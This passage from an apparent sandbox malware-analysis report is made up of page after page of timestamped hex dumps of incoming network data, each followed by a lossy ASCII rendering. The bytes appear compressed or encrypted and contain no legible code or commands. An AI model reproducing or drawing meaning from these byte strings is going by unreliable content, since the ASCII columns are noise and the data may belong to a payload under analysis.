3b 20 42 e3 9e b6 93 6f 03 0d 6d c0 8a 88 74 54 d1 0d fc 00 25 9d 7c 07 d6 a6 0d e0 cc cf 5d dc 7c 36 4e 13 6c 12 7b 78 
72 ab 3f 9d e0 a4 89 60 b4 2d ad fe a1 b1 df 3c f8 f8 
Data Ascii: r^^&F@"I[U~\{ft7:[yw?yW>lc'2OGcA%>=nL[ .XxdiA0!;/ b}s"jVa`j[~} N6; BomtT%|]|6Nl{xr?`-<

2022-01-13 21:05:25 UTC 1369 IN Data Raw: 4f b2 97 d8 60 cd bc 79 99 b2 84 a1 b5 6c 9d 1f 8e 96 e3 87 87 27 0f c3 d3 c9 68 ec 4f a6 8f dc ac 68 60 a4 92 
58 47 8a 35 86 5e 3f 85 32 02 03 10 2b 98 59 12 61 dc eb 60 6e 0c 14 0c b0 13 6b 95 f6 bc 36 90 98 0f 9d 58 5e 68 9b 4c 
f2 c0 bd 27 3c d1 4d 97 c9 61 d3 26 e7 83 2c 6b a1 70 3d 37 79 86 12 cf c0 41 02 12 d0 66 43 d0 e0 83 21 3b f7 c6 8e 77 
9f 3f 0e 1c 0a eb bc f0 5b 31 98 fa 13 f4 37 07 21 46 06 fa 2a f5 f9 7a 41 07 f8 09 a9 cf 89 53 a2 c6 b0 6f 69 22 41 8b 0e 
9b c7 aa a2 f1 45 71 f0 97 5d 4f c9 83 c8 b1 5b 14 dc 3d 98 75 26 bb 4b 71 1f de 38 c5 b8 3a ef 37 6d 58 b2 28 52 9b e4 
8d c8 36 0c cd 27 a6 34 8a c5 13 b7 71 31 18 03 89 85 ee 66 d9 60 db e5 ce b5 b1 4e 0b 24 56 f0 fc ac 8d 88 9a 62 0c 41 
1a f3 05 0a 42 61 d6 7a 7e 1e 02 3a 13 51 1d 24 a7 
Data Ascii: O`yl'hOh`XG5^?2+Ya`nk6X^hL'<Ma&,kp=7yAfC!;w?[17!F*zASoi"AEq]O[=u&Kq8:7mX(R6'4q1f`N$VbABaz~:Q$

2022-01-13 21:05:25 UTC 1370 IN Data Raw: c5 19 17 ee bd 3c dd c2 0e 84 e7 63 f4 a4 27 24 d5 3c 2e 2f ba a9 46 00 0f 81 c7 ab 68 71 59 51 19 44 8a 9c 
0e 03 64 13 a7 1f 72 e4 21 40 81 94 3f bf e0 10 c3 e7 be e0 66 cc 67 27 b9 02 48 c6 9b 04 78 f9 2f 62 e6 e1 9c fb 92 59 36
92 0b 02 3a 31 c6 3b a1 62 03 54 98 6f 15 f4 22 cc b7 38 52 4c da a2 13 3f 28 2d 08 cd 33 9a 05 de 1e c0 e2 e9 a6 27 9d 
cc 15 c4 bc 40 f7 5c 78 2c c6 11 3e 00 dc 66 c2 40 30 5e 0e 82 14 ef 07 bb 70 98 44 cc 97 68 4f d1 00 c5 9a bc 73 48 93 
9d d7 3e e4 0f fb c6 67 b6 ac 1f bd bc d0 11 15 a2 81 3b 55 49 b6 b5 0f b7 ec c2 96 3a 1d 10 d1 b9 ff af 13 c5 2b 2e 9b 6c 
c6 3e dc a2 cb 34 ba 44 d6 8e 99 e0 9d 74 ad 75 ad 8f 54 03 ca 27 95 d4 d7 aa c9 2c 67 47 fd da fe 2d dd de 73 02 2a f2 
39 e4 ac c6 39 85 d7 68 83 e2 8d c4 e2 ff d9 62 45 
Data Ascii: <c'$<./FhqYQDdr!@?fg'Hx/bY6:1;bTo"8RL?(-3'@\x,>f@0^pDhOsH>g;UI:+.l>4DtuT',gG-s*99hbE

Timestamp
kBytes
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2022-01-13 21:05:25 UTC 1372 IN Data Raw: 01 e0 2f e8 27 6e f3 68 01 0f 93 60 ca ae 48 5f d3 c4 54 33 70 ae 92 e2 1c 95 e4 9c 33 ee ae aa 06 31 87 59 64
3b f2 f6 a0 00 87 30 55 46 18 ab 4b 8b e2 a1 8b 90 92 18 52 9d 46 1b 03 10 fe 87 6e 46 ff 4f ee 81 ee d7 f3 7f ba 3e 1e eb 
86 1c 77 b3 d1 d4 36 72 b6 8b b2 13 15 1b d1 0b 92 f1 b0 43 f1 53 81 0c 54 28 0b 05 ca 50 6c 4e 45 7f ff af 81 82 e9 20 
89 3c 84 2c 80 ea 1c 59 af 3b 37 a6 49 4a b5 71 8f 17 83 b8 fe f2 ff 5d d9 43 ae f3 a1 3f 72 f2 57 b6 91 52 77 af 4a 06 90 
e5 b5 6e 2e cb 53 c6 1c 4b 6f eb 93 0c ec f8 fd 00 e8 f2 cc b7 3d 7f 02 cb 05 bb b7 3d 75 76 88 6e f6 a3 d1 d5 dd e8 a9 b6 
c6 a2 ef 03 7e 63 af 35 bc 77 2d 04 c5 89 ce da 19 1d 14 0f 2c bf e8 3c 4e fd 43 46 70 9d 77 f0 9f 9f d2 e2 a7 cd 56 9c d4 
12 fd 2b ef b0 0e fa 46 c7 88 22 99 77 37 
Data Ascii: /'nh`H_T3p31Yd;0UFKRFnFO>w6rCST(PlNE <,Y;7IJq]C?rWRwJn.SKo==uvn~c5w-,<NCFpwV+F"w7

2022-01-13 21:05:25 UTC 1373 IN Data Raw: 33 d3 ef 79 ad 2e 13 f9 a5 9d 1d 64 ed 3c 18 de 5e 4e 83 7e a8 c1 9c 48 64 6f 39 d9 ec 57 4f 68 e5 1c 4e 0f 6d 
f8 d2 f5 3d 66 25 e6 1e b1 06 fb b6 8f 81 a3 41 f9 4e 7e ed cc 8d 27 61 21 6d 79 17 a3 5b 7f c8 3e f4 8d 36 06 2f 69 8d d1 
e6 c1 92 1a 5c c8 35 40 c1 42 49 98 5f 75 7a 3a 9a f0 0c bd f9 75 aa 6f 9f 9c 2c de ba 7c 88 51 db ce 0b 37 e0 a2 aa 03 cf 
cf 19 dc f1 18 d6 51 81 74 af 14 45 58 b4 3b 2b e0 cd ea 9c 66 59 0d 52 bf 9f 9f 91 8c f9 64 86 cf 52 ff 71 5f 5c 7a 15 07 72 
0d bc 2b 0a 78 11 a7 5e bb 98 c2 ca f3 73 89 4d 9a 0f dc 52 f4 2b 4d aa b1 8d 5f 58 63 83 b1 c5 37 0f 0f 54 d6 5b 74 fc 95 
26 9a 37 60 0e 43 1b e5 3d b2 b3 6b a6 b7 51 ad ec f1 9d 19 8c 7b 7d 43 e1 5d 34 53 4a d2 a2 3b 76 12 d7 ff 74 92 17 fe 
34 c4 1d 3f d1 1d 38 f2 6b 2f 3a 4d 71 
Data Ascii: 3y.d<^N~Hdo9WOhNm=f%AN~'a!my[>6/i\5@BI_uz:uo,|Q7QtEX;+fYRdRq_\zr+x^sMR+M_Xc7T[t&7`C=kQ{}
C]4SJ;vt4?8k/:Mq

2022-01-13 21:05:25 UTC 1374 IN Data Raw: ee 93 d0 e1 3e 00 ef fd d6 37 4b c6 8f 81 89 47 5b a7 f9 cb 81 e1 f6 f4 da a5 3c ac e8 06 21 8f 8d b0 b2 d4 06 
bd 15 cd 70 ca e5 b7 04 0e d3 e2 61 74 89 94 ed 79 58 3e cc 31 7c c2 a0 6a d1 c6 70 41 c3 11 be 45 a1 68 e1 b5 82 45 f8 
87 04 d0 07 f5 3a 17 84 ab 6f 18 3c 27 87 99 0e 4d 4c 3c a3 ce 67 71 bc 31 19 dd 91 03 1c 0c 5a bf 09 bc 1a 73 03 87 55 
fc e7 74 62 df e0 b6 39 f5 fc 86 fc b2 6e 30 97 d1 b5 3a a0 82 df 80 ee 39 46 17 b6 bd c4 1b ba 80 a0 cf 9e 49 a9 fc c5 18 
2c 2d 82 97 d4 99 68 2a 2a f6 9e 9f 77 4b a5 b7 b5 36 db 28 1d 60 cc 48 72 fb 33 b8 b5 e8 86 bf b8 92 77 9f d1 15 8d de 
e0 c6 67 c8 4d 30 74 6d 1e a0 93 c5 8c 04 54 b4 99 66 8a b8 40 6b 4a af e6 2f ed 27 7b 77 d9 85 ba 88 1a a0 67 51 03 0f 
fa d9 c5 48 42 50 33 34 83 81 bf d7 ef 9e 9f ef 8a 
Data Ascii: >7KG[<!patyX>1|jpAEhE:o<'ML<gq1ZsUtb9n0:9FI,-h**wK6(`Hr3wgM0tmTf@kJ/'{wgQHBP34

2022-01-13 21:05:25 UTC 1375 IN Data Raw: 1e dd b5 c1 2e bf 96 6f 59 76 01 82 f4 32 16 73 34 12 fe 92 4d 44 27 86 d8 10 d4 4f 4f 0f 5b 8d fa 45 eb e4 f8 e6
c3 d9 49 7d bf 51 3f bf c8 8e 86 74 a6 28 71 f6 27 1c db 6e 84 7b be 25 63 f1 86 c3 e4 fa 23 35 7a 58 bf 3c 6e 7c 5a da 8a 
68 a4 0f ba f6 0c 2b 65 a3 8a f5 4e 17 d6 4b f4 ba a0 d6 f8 08 94 cd 76 04 b9 53 9f a2 32 29 d2 5d b9 59 7d 25 b9 1f 94 9b 
3b 29 bf 83 b9 71 9f ac 41 f8 5b e3 35 22 25 11 a9 9c 5e 65 7b ff 6c b8 6a a9 69 79 1f d1 67 1f cd 0a 45 ad c0 e0 4a 95 53 
ee a9 33 c0 af 53 59 5f b6 a3 0d f2 b2 70 07 54 ce bb 08 31 bd 38 62 16 dd 96 3c 14 76 54 7c 9b 0d d9 e9 a9 e2 99 18 83 
a8 27 e8 4a f9 30 5c ad e2 17 45 5c 80 c7 34 f1 c6 db b1 f7 43 e6 fe 20 cd 2e 0b 5d 4b 49 64 77 6a 4c df fe 39 a4 a8 9d d9 
53 e8 20 92 96 de 61 b8 89 9d e6 36 d4 
Data Ascii: .oYv2s4MD'OO[EI}Q?t(q'n{%c#5zX<n|Zh+eNKvS2)]Y}%;)qA[5"%^e{ljiygEJS3SY_pT18b<vT|'J0\E\4C 
.]KIdwjL9S a6

2022-01-13 21:05:25 UTC 1377 IN Data Raw: f1 6c 54 97 78 37 9c 94 0a 3f 23 9e 9d 0e 25 e7 4f 3e 74 64 da 6e a8 8d db e2 e4 29 6d 5e 30 9b bc af d7 ce 
22 87 17 a4 4a be b3 2f 2b 03 14 dd 7c 08 ca d9 0f d0 b7 59 ff 6c 5d 6c 57 b3 db 59 49 04 cc 5a f4 3d 74 64 94 26 88 f0 
a7 e9 46 9b 3c 78 66 1d 35 ae b8 5a 98 b3 5f 87 4c 8c 3b cd f4 18 cf 15 89 9d ae 78 f2 33 04 7c 43 f9 b9 da dc 7a 87 61 
97 fb e4 b4 d4 b7 1c 71 5e 7f 6a 3b 61 11 fa 03 6b f3 d3 6c d2 37 af 34 f6 c1 7c fd 1a 31 ff fa 95 66 f0 94 4d 5f 84 70 81 6f 
5a 21 45 03 81 57 d0 a8 c4 0d 2c 1c b3 31 94 bb 9e 27 0c f3 74 d2 4f 44 f1 66 dd 15 3b 2a c7 a3 1c 82 01 72 c9 6c e8 15 
73 0d 71 b8 9b 91 78 6e c0 a6 41 ce ed 07 e4 a4 09 fa d2 5a 92 f1 f3 63 3e bc be ac 35 e8 c2 76 72 2e 4e 4e d6 44 8e 6f 
dc 60 a3 fc d0 3c 88 6b f2 e8 88 10 6e e8 db 8d dc 
Data Ascii: lTx7?#%O>tdn)m^0"J/+|Yl]lWYIZ=td&F<xf5Z_L;x3|Czaq^j;akl74|1fM_poZ!EW,1'tODf;*rlsqxnAZc>5vr.NNDo`<k
n

2022-01-13 21:05:25 UTC 1378 IN Data Raw: 0d c6 b6 75 fc 0d be ef df 9c d6 cf ea 47 cd 8b e6 99 a9 05 2c 34 f2 cd d8 9e c0 aa 0b 72 87 66 34 7f 5c 34 8f 
71 88 a8 d6 c6 c9 d1 69 fd a2 f5 e1 b0 69 6a 91 3a 43 55 83 98 0b f2 54 80 8e 26 52 99 a3 16 0c ef f1 47 39 f3 80 89 ca 9a 
71 d6 6c 34 5b c0 c1 6f 2e 8f eb df ea ad c3 3a d5 2a 5c 3e 6f 64 d7 15 83 93 c9 4d f3 ec ec 04 e0 e4 54 72 e3 33 d6 d5 f8 
54 3f 3e 6e 1e 8a af c2 43 97 7f 3d 3c a9 ef 33 97 92 9b 03 68 06 f1 81 11 96 b8 63 6f 9b b6 94 b2 14 45 2c 10 83 3b 24 
07 e5 21 35 28 d3 3b eb 49 82 5e 02 39 d1 2b b9 33 59 0a 38 e3 7d 96 7d f4 92 cd 4e 53 1c f1 13 34 db f8 74 76 82 ee 30 
2c 1d c6 f3 e4 1c 46 70 04 f2 0d cc fe b3 93 16 8e fb d0 9b 00 3f ca f6 8e 31 e0 53 ce bf 93 6d 7d 4a b5 d5 e8 23 dd 9d 5f 
b0 49 a8 19 80 48 a0 40 c0 1d d0 1f 20 fe 23 
Data Ascii: uG,4rf4\4qiij:CUT&RG9ql4[o.:*\>odMTr3T?>nC=<3hcoE,;$!5(;I^9+3Y8}}NS4tv0,Fp?1Sm}J#_IH@ #

2022-01-13 21:05:25 UTC 1379 IN Data Raw: 13 25 a9 b4 db d6 53 6b 1f f5 4f fc cb 08 85 b4 29 fe 80 f6 1d a0 75 10 fd d9 af 66 7c b8 3c 38 80 4e 60 9e e8 
71 d1 10 81 f6 f8 e8 4f 14 8a 95 68 5c 05 d2 23 0c d2 c9 c1 01 d0 5e f3 14 84 ea 1b 78 06 62 3d 3c 8c 12 e0 19 a6 12 34 
8b 60 f3 34 f6 4a f9 48 90 3f ff 04 b0 49 df 53 e9 8b 00 3e f3 c7 be 3d 3d ca e8 f4 02 32 e5 c8 de c3 74 43 74 7d 80 a1 c3 
a9 72 c6 a7 59 fc ce f0 4a ef 9c 75 24 df 17 83 13 02 df 58 88 bf 7b 25 91 7f 02 45 8e 8d 0c 0e 9b 78 62 b3 8c 4d 31 cd 38 
b9 f8 84 fa 1b fd 2c 6a fc 9c f8 d3 22 72 fa d4 57 b5 7d 3e 16 06 28 32 a2 44 8f 68 4a 02 e2 3d bb 3c 25 35 56 7a 41 d5 f2 
b8 75 fe 09 93 c5 53 a4 b0 d3 cf 22 f8 5a 1e 85 c4 0e d3 ca b5 80 44 b9 b2 c1 50 5d 34 7f c0 00 e1 5f ce 03 39 ff e3 7c 8a 
b3 a7 85 2c f9 62 02 2a dc 22 ac 9c 2a 47 
Data Ascii: %SkO)uf|<8N`qOh\#^xb=<4`4JH?IS>==2tCt}rYJu$X{%ExbM18,j"rW}>(2DhJ=<%5VzAuS"ZDP]4_9|,b*"*G

2022-01-13 21:05:25 UTC 1380 IN Data Raw: 76 10 64 89 35 ba 5d 7b 3c f5 27 89 c9 9f f9 ba 9a 5d b6 7f 8b aa 62 dc b1 fa 57 12 58 5b 3d 57 bf ab 1d 91 61 
40 40 bd 90 9c 00 58 c2 e5 a4 9f 50 4b c2 c8 d0 6b 65 ab fe d4 2f 0a 13 72 a2 12 ca 1e 85 d5 61 10 cb 4a d5 f4 be 09 1a 
d0 f4 91 2f 45 ec 59 6e d5 13 82 5f 5c 28 cc 88 91 cb b4 a7 94 06 11 f3 6b 59 b9 9b 45 16 16 52 df 39 25 74 55 5b 80 d1 
27 45 ea fd c0 1e d7 bd 30 e1 cb 40 ee f6 8d 7e 30 0e a5 f7 f0 05 72 2c ea 30 aa c1 fd 9e f6 1a 61 c9 b7 0a 7d 3c 60 42 fa 
22 55 37 ad d1 86 42 02 8f 74 3c f8 8a ae 48 fb d9 41 00 f5 0f 7d 1f e5 dc 69 cc 2b 54 e9 65 7b 74 a8 51 a8 fa 7b ab b4 c7 
ec 8f 2d ad d1 28 d7 f7 77 b7 b6 35 75 ad fb cd 83 fa e5 e1 05 f7 d8 8c 9c 44 eb a7 a7 37 ad 7d 55 4b fb 4a b5 50 ec f0 3f 
cd 17 7f 2c 22 2e ac cc 59 81 6c 1e a5 5c 29 
Data Ascii: vd5]{<']bWX[=Wa@@XPKke/raJ/EYn_\(kYER9%tU['E0@~0r,0a}<`B"U7Bt<HA}i+Te{tQ{-(w5uD7}UKJP?,".Yl\)

2022-01-13 21:05:25 UTC 1382 IN Data Raw: 3c 2b 87 f8 87 f3 9b 58 e1 46 cc 55 8d ff 70 56 55 75 19 fc 56 cb 49 cb e6 aa e6 2f 83 95 14 79 ff 5b cd df a5 6c 
22 2b 29 f2 7e 55 8d 07 7f 00 40 7d 3c 06 c1 10 01 58 d5 fe c1 fd ca a1 ff fa 07 00 48 16 95 55 10 7c 5d 89 81 c3 3f 00 e0 
74 e2 df af 6a f9 70 65 cb 5f fe a0 e5 e3 17 f0 a1 2f 2b 5b fe 74 9f 60 06 e7 52 d0 da 97 00 81 26 a0 8b d1 4b 08 e0 d3 6a 
02 38 fd 03 2c 9c e3 d1 dd 25 12 46 aa 81 55 75 1e ff 01 08 92 0d 66 15 00 c7 2b 01 38 fa 67 e3 11 c3 b2 0a 94 a3 95 a0 
9c fc 11 2e 62 b3 cd 2a 08 4e 56 53 c4 e7 7b 85 72 6a 5b 31 56 6a a5 f7 b0 7e e5 4b ef 9d 3d 8c fc 9e 4f af 64 ec ee 06 39 
e5 c1 2b 66 82 0f e9 ba 69 53 bc 6e 8c 2e 8e 37 db bc a8 af 47 1c d3 17 a3 63 ff 81 29 80 2b bb b3 92 11 3c 28 82 4b 6f 
96 df 2d d1 05 8a 01 36 7d 82 81 cd 57 2f 
Data Ascii: <+XFUpVUuVI/y[l"+)~U@}<XHU|]?tjpe_/+[t`R&Kj8,%FUuf+8g.b*NVS{rj[1Vj~K=Od9+fiSn.7Gc)+<(Ko-6}W/

2022-01-13 21:05:25 UTC 1383 IN Data Raw: 24 6b 39 3a 3a fb c9 3b 92 e9 38 31 1c 68 db 6b 2c fc b4 fe b6 fd 52 b6 f0 b9 18 cb 16 2e fe 2b 72 a5 26 f5 0c 
a6 98 27 0e 6a 2b 81 8e 2a ea a8 a2 0e db c0 05 2b f1 55 1b ba b8 a6 c7 c5 c2 4e 15 4c c3 38 54 f6 d7 02 5c 73 26 12 cc 
32 52 fd e6 e1 a1 dc 84 f2 93 54 36 a1 37 ad d5 86 b7 da 5c b8 4f cc ad 35 c3 49 87 4e 2b cf 2d fc 64 e8 78 a7 21 25 da 
3c a3 ac 6b f5 db f4 2e 83 e7 ca 14 4a 22 f5 50 78 15 5d b7 92 b4 9f ce d2 1a fe f6 6c ec 02 7e 38 0f 0f 85 6f 61 21 f4 fd 64 
c8 3f 17 00 18 e1 c8 18 9c 5a 1e 0d 3d 98 5b 90 4b dc 22 b1 de 9f fa d8 d1 5f 95 99 9c 71 8c 98 d7 65 6d cd 3a 91 79 3b 
8e d3 30 a1 d4 4a 21 e3 ce 85 1b 55 0d c2 da 7f b1 bb f9 62 6f 6b 17 6b 3e 3c 58 0d f1 df 46 c5 3f f2 3f a8 ba 12 b2 44 2e 
2e 67 b3 cb 65 72 a1 29 c4 93 51 9c 51 2e 37 
Data Ascii: $k9::;81hk,R.+r&'j+*+UNL8T\s&2RT67\O5IN+-dx!%<k.J"Px]l~8oa!d?Z=[K"_qem:y;0J!Ubokk><XF??D
..ger)QQ.7

Timestamp
kBytes
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Copyright Joe Security LLC 2022 Page 91 of 171



2022-01-13 21:05:25 UTC 1384 IN Data Raw: a1 5c 15 f6 13 a9 78 47 78 85 a4 fd 2c bd 97 42 91 6e 98 75 11 1f 02 22 9f 8e e0 e0 39 42 74 20 d0 22 a3 d8 
58 a2 d8 5d 71 0a 08 cb f2 11 d5 5f 9b e9 0c b1 12 9c 58 bd 42 45 c6 41 d5 55 db a8 79 ac 1f 03 aa c3 77 41 bb d5 a6 59 
78 76 3b 60 1a 1e 18 46 b7 1d ac f6 b2 d3 f0 14 7e e3 f1 87 4a 74 f5 70 c7 1d d5 71 c2 69 cd f0 2c d0 e0 ba c6 1b 49 0c 
a8 11 0d 8c 11 1d 99 07 8e 6a ad 0c 02 c1 a1 0d 38 d1 10 1f 42 78 a4 0e 26 46 07 3b a5 b3 48 7d c4 01 dc 29 95 f5 c4 11 
c3 5a 4e 8b 8e c0 38 9c 66 a9 9d a4 
Data Ascii: \xGx,Bnu"9Bt "X]q_XBEAUywAYxv;`F~Jtpqi,Ij8Bx&F;H})ZN8f

2022-01-13 21:05:25 UTC 1384 IN Data Raw: a5 13 07 1b c7 c4 00 93 81 23 a2 9a 4d ba 03 55 b0 b8 f5 35 e1 9c 4b bf 11 aa 18 c7 1a c0 06 d0 9f c3 8d 8f 92 
80 4c 43 b8 44 85 9a 58 14 a5 68 e2 fe 0b cd cb 2f 69 25 da 65 e9 61 b2 ae 6e a1 3f b8 9d bb a2 4f 89 65 81 6d 90 65 05 
ec 0a e8 41 be a9 42 ab b8 9e 02 2e 44 2d 13 a1 3a 74 fb 33 b0 c4 c0 3d 37 fe 08 62 27 e6 83 d1 0e e4 f6 89 a6 45 1c 0b 
4c 92 7c 55 81 58 01 1c ba 81 dd 2d d5 90 98 f2 87 9b d8 2d 6d 22 b0 72 62 1b 63 97 09 3f f9 87 b6 d5 d8 50 4d ba f6 b5 
ea a6 86 13 7e 47 78 b3 45 88 4d d0 66 df 1f af 0a 78 52 54 9c 8c 82 a7 f6 7f ff fe ba ee d8 2d ef 6f db be fa fb ab 5b 03 6a 
ed 6f a8 f5 e4 29 81 fb f6 28 b8 7f 87 a9 3c 76 76 bd e6 c2 dd 81 c7 fe 1b 78 cc 26 5e d3 0d 5f 79 9b 0b 77 17 ca 4e f7 a1 
4c e6 e0 6c ba 22 bd 24 bc dc 83 97 03 6c bf 
Data Ascii: #MU5KLCDXh/i%ean?OemeAB.D-:t3=7b'EL|UX--m"rbc?PM~GxEMfxRT-o[jo)(<vvx&^_ywNLl"$l

2022-01-13 21:05:25 UTC 1386 IN Data Raw: a8 08 f0 3c 11 e7 cb d1 30 25 9c 83 ff b1 2b 04 4a 29 75 8b f4 18 24 d4 bb 86 be e2 20 a8 70 27 69 b7 eb 22 4f 
63 eb 31 7c 20 72 3a 2e ef 83 10 46 6b e5 87 38 c5 7b a4 86 4a 06 c9 0b a3 f1 48 30 33 8d 8a 68 bd 1e d9 c6 54 7f 34 33 
a3 f5 ba 2d 49 83 0d 94 ec c2 f1 df f2 8c 0a 8e f7 1a 49 03 1a 84 0a 86 55 02 31 f9 86 07 63 96 89 1e 16 ee 79 11 5c 1b 78
b3 0f ea 59 ef 3b c0 20 50 20 cf 49 5a 8c 52 45 00 7d a0 1c 0e 50 6e 8a 08 15 ad 1e e1 27 9c a5 93 6a c2 fd a4 40 b8 17 
ab 11 e1 7e 52 20 dc 4f 4a 8c 42 a9 c4 ac c3 50 5e 2e f2 57 4e 4a c4 7d a9 84 5d 8a 46 65 d4 a3 22 04 65 86 4e 55 a0 54 
16 65 a2 f8 68 e1 be 2b 0b 01 1e 95 22 b0 f8 a1 e1 6e 8f 94 f4 79 07 0d 7e ba d4 96 75 e6 b8 af c4 e0 86 50 94 2b 8b 80 
e4 05 74 bb 3b c4 b4 e8 af 46 76 d3 f1 5e 11 18 30 
Data Ascii: <0%+J)u$ p'i"Oc1| r:.Fk8{JH03hT43-IIU1cy\xY; P IZRE}Pn'j@~R OJBP^.WNJ}]Fe"eNUTeh+"ny~uP+t;Fv^0

2022-01-13 21:05:25 UTC 1387 IN Data Raw: ab 46 91 92 9b 72 6f 73 fc 4c 04 df 98 3a fe c4 e4 f6 97 19 cf ad ad 75 83 60 ce 5f 5e 5b 1b e0 6f fe f6 c3 43 b9 
87 42 4b ad 76 cb 9e 03 01 be da 70 db 6c 1b 35 c5 3d 94 3f 17 84 d6 98 b8 75 73 00 2d 90 b7 4b 40 d4 6f 57 4e d7 9e e6 
73 75 d6 d6 fa 63 b4 3e 74 a7 ca 12 1c 86 02 d7 08 7c 19 d6 2b e8 14 a0 41 58 47 03 6c 8d a6 4b 61 45 dd c0 83 32 f2 0c 
51 00 81 ea 8d 9b 2a 46 87 6e 03 d3 b0 22 32 4f 31 db 68 1d a1 96 ea c3 60 29 6a 16 ac 55 0e 88 cc 86 49 ce 8e ec d3 
01 9a fe 42 1c fb ca ad 32 76 1f f2 bd 92 92 dc 16 f0 da 88 ef da 04 97 6c 30 96 97 aa 4b 03 19 17 73 9b 21 eb fd 6f e2 b7 
13 98 5c 6f 48 42 9b a3 24 f7 88 89 8a af 10 b0 23 94 dd 8c ea 23 96 45 ae b2 c9 fe 2e 1a db ab 76 6a 3e f2 e8 6b 9d 90 
4d bd e0 25 d1 05 a6 22 74 7d 27 b2 3b 63 1d 71 09 
Data Ascii: FrosL:u`_^[oCBKvpl5=?us-K@oWNsuc>t|+AXGlKaE2Q*Fn"2O1h`)jUIB2vl0Ks!o\oHB$##E.vj>kM%"t}';cq

2022-01-13 21:05:25 UTC 1388 IN Data Raw: ca 8b 45 29 15 d9 9a 4b 43 15 66 7f f9 68 6a 61 1f 46 9a dc d5 d2 6f bd 6c 96 55 f6 9b 06 87 42 bc a2 a3 4c 1a 
68 5a 1c 28 1e e7 e5 a3 d4 87 44 30 74 82 8e 8f a8 8c 63 e9 0d aa cc 06 f2 5b c8 45 ea 2e 45 cc 1c ff b9 cc 55 fb 70 6c 22 
56 72 d9 2e 32 cc f8 29 e0 95 1b ae 65 55 b3 c8 fa 49 65 34 a6 43 05 4c 29 ac 11 05 54 13 13 91 3a 04 8f 20 04 45 9f a5 
a0 89 52 7a fe 0e 29 41 1f 30 47 69 a4 15 9c 7d 0c 2d 3f f4 4b a3 4a 96 8e 8a 2f 9a aa 61 b1 27 d7 61 11 ad 29 44 16 2b 
44 da 92 97 b1 70 96 e8 8c 8b ce d5 c2 22 5d 00 c6 91 99 c9 42 30 09 8d 83 e7 8d df 7f dd 7f 21 82 21 bc 78 be bb b7 b3 
b9 79 80 8f ac 8c 7d 5d c6 e9 68 6a 2a e3 6e 08 11 d5 33 bf f3 32 9c 76 e6 68 91 2d 7d 1f fd f5 f5 8e d3 be ea 6c 3c bb 0e 
d4 bb ab 0e 33 08 5d 96 a2 09 fd 6d 28 d5 b6 32 
Data Ascii: E)KCfhjaFolUBLhZ(D0tc[E.EUpl"Vr.2)eUIe4CL)T: ERz)A0Gi}-?KJ/a'a)D+Dp"]B0!!xy}]hj*n32vh-}l<3]m(2

2022-01-13 21:05:25 UTC 1390 IN Data Raw: cb da 39 28 2c db 68 6e 44 eb 4d e5 89 86 9e ee 94 19 ee 3e 4b 6e f1 d8 7a 9b ee 17 5e 09 19 e4 65 3a 1f a2 
a0 03 51 d4 49 38 ec b5 91 ef 82 bb 8e 2b b9 11 b0 f6 f0 29 b1 7a 1e 2c 04 9c d3 19 a6 41 f5 3e 8e 61 d5 b2 3b 20 4b 06 
f2 35 9c 3a e5 bb 4b 5f 6b 2e d4 f5 41 05 41 d8 6a a0 77 f8 47 03 a0 85 12 0a a9 44 a9 82 62 c0 3b bb b0 3c b1 11 cf 85 
fe 8c f3 fd 66 aa 7c 4b ea d5 c2 58 95 3d 93 16 82 bd e1 fc 9b 2a fd 55 6a 7b 1a bc 93 4f ca d4 4e 61 49 fa 80 bd 99 7c 2a 
93 35 56 15 b5 45 5c 68 9b 98 52 b7 b6 ac 33 e4 46 ed 65 2f a5 4d 03 20 36 69 de c6 06 62 18 a8 72 ad 13 b1 8f 9f 21 6e 
88 04 64 86 e5 34 d4 ec 28 7e 36 58 f8 e1 e4 11 5b db 5b 41 36 73 3f 51 55 92 63 5e 9f f3 01 31 c9 57 91 9c 31 8a d6 dd 
e4 5a 04 7c f9 05 08 40 69 60 71 39 b6 ff ea 93 a4 eb 
Data Ascii: 9(,hnDM>Knz^e:QI8+)z,A>a; K5:K_k.AAjwGDb;<f|KX=*Uj{ONaI|*5VE\hR3Fe/M 6ibr!nd4(~6X[[A6s?Q
Uc^1W1Z|@i`q9

2022-01-13 21:05:25 UTC 1391 IN Data Raw: 1c 88 c5 38 e8 f5 b7 fd f6 ed e7 ed f7 db 47 c7 db 3b 47 c7 47 97 1f 2d 0d 22 09 6c b0 cb 71 25 ef d0 2f 05 ba 
be 21 26 e0 cd d0 e4 1d 16 fe f8 e7 59 f2 c9 0f ee 4d be 2d e3 fa fc 76 63 c3 c5 88 b9 f3 5b 54 5b 21 2d 89 81 c6 2f 23 0c 
d0 6d 18 e9 08 ea e9 d5 c0 4e c8 ee 8e c9 9c dc 9d c4 4b ea 37 c0 75 05 79 d1 67 a0 5f e2 70 68 19 d6 cc f3 61 45 13 ad 
50 36 c2 a0 c9 fa 65 ce 8a d8 40 5f 02 54 a4 56 86 03 27 6d e6 1b 89 c0 68 32 0d c7 f4 ca f6 b4 f9 90 95 f9 bd 1c 1e 11 29 
d2 06 b9 34 2c af 34 0b f5 86 29 d6 55 11 55 0b ee 5d 54 48 2c 74 ff 25 e5 84 bd 6e 61 54 63 d4 15 91 54 3e ec 0d 33 e0 
c4 61 03 b0 04 43 25 a4 c0 85 ea 9b 8b e5 8a 63 5f b8 d2 1d 1d 08 d1 29 93 dd e4 10 e4 b8 cf d1 29 7d ab e8 94 1e d5 d3 
b1 51 cd e8 39 2b db f1 a0 83 3a 1a ec 8a 49 a2 
Data Ascii: 8G;GG-"lq%/!&YM-vc[T[!-/#mNK7uyg_phaEP6e@_TV'mh2)4,4)UU]TH,t%naTcT>3aC%c_))}Q9+:I

2022-01-13 21:05:25 UTC 1392 IN Data Raw: 89 43 be e7 6a ed 59 dc f0 4e 10 a7 07 fa 2b 0e d3 f5 75 a8 bf aa ef 55 68 31 77 a9 e2 07 11 4b e0 95 b0 7e e6 
3f 23 11 07 dd 2d f7 cf 01 bf ce 86 b6 5e ff 15 f1 fd 3b 13 c3 f2 1b 28 38 b2 fc aa c6 7a 24 4d aa cf cc 74 85 21 a5 28 2c 67 
34 0d 81 d5 20 3e 1e 5b 7e c6 ad fb 3c 41 f7 fd d6 b2 17 9e b4 3d 34 83 ae 71 e5 84 82 ad c9 f5 32 82 91 f5 8d 27 33 50 
d9 81 f1 d4 91 4f 4a 6a c5 01 9f c7 13 73 41 85 59 f9 40 54 27 1e e2 75 b7 bc 28 35 c1 01 9f 84 22 8e fd 97 41 05 ee 22 a9
